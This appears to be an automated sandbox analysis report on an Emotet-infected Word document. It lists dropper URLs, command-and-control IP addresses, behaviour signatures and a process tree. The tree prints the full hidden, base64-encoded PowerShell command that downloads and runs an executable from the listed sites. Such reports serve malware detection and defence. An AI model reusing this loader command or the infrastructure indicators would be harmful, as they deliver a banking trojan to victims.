Overview

overview

10

task1

 

10

task2

 

10

Analysis

  • max time kernel
    137s
  • resource
    win7v191014
  • submitted
    07-12-2019 19:57

Sharing

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General

  • Target

    Docs_bb7b9f0ff1297e6480935818da798d0f.35.doc

  • Sample

    191207-k13ac7xazj

  • SHA256

    282ddf44fbb13c3ea82c1fb85e62a1db366cc254fafb1d073079b97f928d34cd

Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://jdcc-stu.com/wp-includes/168386/
exe.dropper

http://stevecablestreeservice.com/y8st/w4q76/
exe.dropper

http://kaybork.com/howtos/620010/
exe.dropper

http://dayzendapparel.com/cgi-bin/091244/
exe.dropper

http://thematrix-one.info/cgi-bin/4900/

Extracted

Family

emotet

C2

47.146.42.234:80

130.45.45.31:80

200.119.11.118:443

96.126.121.64:443

104.236.137.72:8080

172.104.233.225:8080

85.234.143.94:8080

91.205.215.57:7080

62.75.160.178:8080

45.79.95.107:443

190.195.129.227:8090

159.203.204.126:8080

181.36.42.205:443

186.68.48.204:443

14.160.93.230:80

119.59.124.163:8080

87.118.70.69:8080

5.196.35.138:7080

82.8.232.51:80

203.130.0.69:80
rsa_pubkey.plain

Signatures

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Executes dropped EXE 4 IoCs
  • Suspicious behavior: EmotetMutantsSpam 2 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails

    trojanbankeremotet
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Drops file in System32 directory 6 IoCs
  • Modifies registry class 136 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Docs_bb7b9f0ff1297e6480935818da798d0f.35.doc"
    1⤵
    • Suspicious use of FindShellTrayWindow
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Drops file in System32 directory
    PID:1696
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -w hidden -en JABIAGUAcAB4AGIAaAB6AHcAYgBtAGcAPQAnAFcAawBwAG8AcABxAHQAYgByAHoAJwA7ACQAUAB1AHkAdAB0AHUAagBxAHAAdQByACAAPQAgACcAOQAwADQAJwA7ACQAUQBrAGYAegBlAG8AbwB2AHcAPQAnAFMAdwBzAHIAcgBuAGgAcwB4ACcAOwAkAFcAcAB6AGcAegBuAGUAdgB0AHAAeQBhAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABQAHUAeQB0AHQAdQBqAHEAcAB1AHIAKwAnAC4AZQB4AGUAJwA7ACQAWgBiAGIAZgBhAHIAcQBwAGYAcgBjAHUAcgA9ACcAQwBoAHIAaABwAHoAcwBrAHcAcwB5ACcAOwAkAFAAcwB2AHAAegB1AGkAaQB2AGgAPQAmACgAJwBuACcAKwAnAGUAdwAtAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAG4ARQBUAC4AVwBlAGIAYwBMAGkARQBuAHQAOwAkAEwAbABjAHMAdAB0AHIAbABuAHYAeQBhAGYAPQAnAGgAdAB0AHAAOgAvAC8AagBkAGMAYwAtAHMAdAB1AC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwAxADYAOAAzADgANgAvACoAaAB0AHQAcAA6AC8ALwBzAHQAZQB2AGUAYwBhAGIAbABlAHMAdAByAGUAZQBzAGUAcgB2AGkAYwBlAC4AYwBvAG0ALwB5ADgAcwB0AC8AdwA0AHEANwA2AC8AKgBoAHQAdABwADoALwAvAGsAYQB5AGIAbwByAGsALgBjAG8AbQAvAGgAbwB3AHQAbwBzAC8ANgAyADAAMAAxADAALwAqAGgAdAB0AHAAOgAvAC8AZABhAHkAegBlAG4AZABhAHAAcABhAHIAZQBsAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AMAA5ADEAMgA0ADQALwAqAGgAdAB0AHAAOgAvAC8AdABoAGUAbQBhAHQAcgBpAHgALQBvAG4AZQAuAGkAbgBmAG8ALwBjAGcAaQAtAGIAaQBuAC8ANAA5ADAAMAAvACcALgAiAFMAUABsAGAAaQBUACIAKAAnACoAJwApADsAJABEAHIAZgB4AHkAcgBsAGUAeQB6AD0AJwBGAGcAbQBtAHAAYwBiAGMAYQBsAGEAYQBwACcAOwBmAG8AcgBlAGEAYwBoACgAJABPAHIAawBwAGcAdAB3AG8AYQAgAGkAbgAgACQATABsAGMAcwB0AHQAcgBsAG4AdgB5AGEAZgApAHsAdAByAHkAewAkAFAAcwB2AHAAegB1AGkAaQB2AGgALgAiAGQAbwB3AG4AYABMAG8AYQBgAEQARgBgAEkATABFACIAKAAkAE8AcgBrAHAAZwB0AHcAbwBhACwAIAAkAFcAcAB6AGcAegBuAGUAdgB0AHAAeQBhACkAOwAkAEcAcQBlAG0AYwBwAGcAbQBvAG0AZgB3AHoAPQAnAEQAaABkAGsAagBzAGcAeABoAHEAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtACcAKwAnAEkAJwArACcAdABlAG0AJwApACAAJABXAHAAegBnAHoAbgBlAHYAdABwAHkAYQApAC4AIgBsAEUAYABOAEcAdABoACIAIAAtAGcAZQAgADMANwAyADMAMAApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBzAFQAYABBAHIAdAAiACgAJABXAHAAegBnAHoAbgBlAHYAdABwAHkAYQApADsAJABTAHEAZQBoAGYAcwBmAG4AdQA9ACcARwB5AHUAeQBhAGoAZwBjAHoAbwAnADsAYgByAGUAYQBrADsAJABXAGUAagBoAHoAcwB3AHcAZwBxAHkAdQA9ACcAWAByAGcAeAB5AGoAdQBzAGUAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASQB4AHgAawB1AGEAdABrAHcAaABkAHYAbAA9ACcAWAByAGUAcQBhAGEAYQBzAG0AbwB2AGIAJwA=
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    • Drops file in System32 directory
    PID:1084
    • C:\Users\Admin\904.exe
      "C:\Users\Admin\904.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      PID:1408
      • C:\Users\Admin\904.exe
        --af9a2e1b
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EmotetMutantsSpam
        • Suspicious use of SetWindowsHookEx
        • Drops file in System32 directory
        PID:1384
  • C:\Windows\system32\conhost.exe
    \??\C:\Windows\system32\conhost.exe "1357304515-49625428213239389931465246131-418946311504728357825126170-1064745522"
    1⤵
    • Suspicious use of SetWindowsHookEx
    PID:2008
  • C:\Windows\System32\svchost.exe
    C:\Windows\System32\svchost.exe -k WerSvcGroup
    1⤵
      PID:792
    • C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
      "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
      1⤵
        PID:1952
      • C:\Windows\SysWOW64\wowsensor.exe
        "C:\Windows\SysWOW64\wowsensor.exe"
        1⤵
        • Suspicious use of WriteProcessMemory
        • Executes dropped EXE
        • Suspicious use of SetWindowsHookEx
        PID:1812
        • C:\Windows\SysWOW64\wowsensor.exe
          --35e27e6f
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Executes dropped EXE
          • Suspicious behavior: EmotetMutantsSpam
          • Suspicious use of SetWindowsHookEx
          • Drops file in System32 directory
          PID:2000

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Initial Access

      Execution

      Persistence

      Privilege Escalation

      Defense Evasion

      Credential Access

      Discovery

      Query Registry

      1
      T1012

      Lateral Movement

      Collection

      Exfiltration

      Command and Control

      Impact

      Replay Monitor

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      Downloads

      • C:\Users\Admin\904.exe
        Download Submit
      • C:\Users\Admin\904.exe
        Download Submit
      • C:\Users\Admin\904.exe
        Download Submit
      • C:\Windows\SysWOW64\wowsensor.exe
        Download Submit
      • C:\Windows\SysWOW64\wowsensor.exe
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      • memory/1384-12-0x0000000000400000-0x000000000044A000-memory.dmp
        Filesize

        296KB

        Download
      • memory/1384-11-0x0000000000350000-0x0000000000367000-memory.dmp
        Filesize

        92KB

        Download
      • memory/1408-8-0x0000000000260000-0x0000000000277000-memory.dmp
        Filesize

        92KB

        Download
      • memory/1696-4-0x0000000006530000-0x0000000006534000-memory.dmp
        Filesize

        16KB

        Download
      • memory/1696-0-0x0000000006430000-0x0000000006434000-memory.dmp
        Filesize

        16KB

        Download
      • memory/1696-3-0x00000000093E0000-0x00000000093E4000-memory.dmp
        Filesize

        16KB

        Download
      • memory/1696-2-0x0000000006530000-0x0000000006534000-memory.dmp
        Filesize

        16KB

        Download
      • memory/1696-1-0x0000000006530000-0x0000000006534000-memory.dmp
        Filesize

        16KB

        Download
      • memory/1812-14-0x0000000000390000-0x00000000003A7000-memory.dmp
        Filesize

        92KB

        Download
      • memory/2000-16-0x0000000000310000-0x0000000000327000-memory.dmp
        Filesize

        92KB

        Download
      • memory/2000-17-0x0000000000400000-0x000000000044A000-memory.dmp
        Filesize

        296KB

        Download